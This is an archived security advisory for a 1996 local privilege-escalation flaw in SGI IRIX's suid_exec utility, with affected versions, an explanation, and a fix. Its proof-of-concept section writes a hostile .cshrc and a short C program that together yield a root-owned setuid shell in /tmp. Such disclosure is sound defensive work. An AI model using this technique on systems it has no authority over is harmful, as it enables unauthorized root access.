IRIX suid_exec Vulnerability

BID:467

Info

IRIX suid_exec Vulnerability

Bugtraq ID: 467
Class: Access Validation Error
CVE:
Remote: No
Local: Yes
Published: Dec 02 1996 12:00AM
Updated: Dec 02 1996 12:00AM
Credit: This vulnerability was reported to the Bugtraq mailing list by Yuri Volobuev <[email protected]> on December 2, 1996.
Vulnerable: SGI IRIX 6.4
SGI IRIX 6.3
SGI IRIX 6.2
SGI IRIX 6.1
SGI IRIX 6.0.1 XFS
SGI IRIX 6.0.1
SGI IRIX 6.0
SGI IRIX 5.3
SGI IRIX 5.2
SGI IRIX 5.1.1
SGI IRIX 5.1
SGI IRIX 5.0.1
SGI IRIX 5.0
Not Vulnerable: SGI IRIX 6.5.3
SGI IRIX 6.5.2 m
SGI IRIX 6.5.1
SGI IRIX 6.5

Discussion

IRIX suid_exec Vulnerability

A vulnerability exists in the 'suid_exec' utility, as shipped by SGI with it's Irix operating system, versions 5.x and 6.x. Suid_exec is part of the Korn shell package, and was originally the mechanism by which ksh executed setuid shell scripts safely. However, it runs using the default shell, and as such will run the configuration files for the shell, such as a .cshrc. By placing malicious code in a .cshrc, and properly running suid_exec, commands can be executed as root.

Exploit / POC

IRIX suid_exec Vulnerability

% setenv | grep SHELL
SHELL=/bin/tcsh
% mv ~/.cshrc ~/.cshrc.old
% cat > ~/.cshrc
cp /bin/sh /tmp
chmod a+rsx /tmp/sh
^D
% cat > expl.c
main()
{
execl("/sbin/suid_exec","/bin/su","/bin/su",0);
}
^D
% cc expl.c -o expl.c
% ./expl
Too many ('s.
% ls -l /tmp/sh
-r-sr-sr-x 1 root sys 140784 Dec 2 19:21 /tmp/sh*

Solution / Fix

IRIX suid_exec Vulnerability

Solution:
This program is rarely, if ever, used. As such, a suitable solution for most systems is the removal of the setuid bit from the program:
chmod -s /sbin/suid_exec

Patches are available for this, and other SGI vulnerabilities and bugs at http://support.sgi.com

References

IRIX suid_exec Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report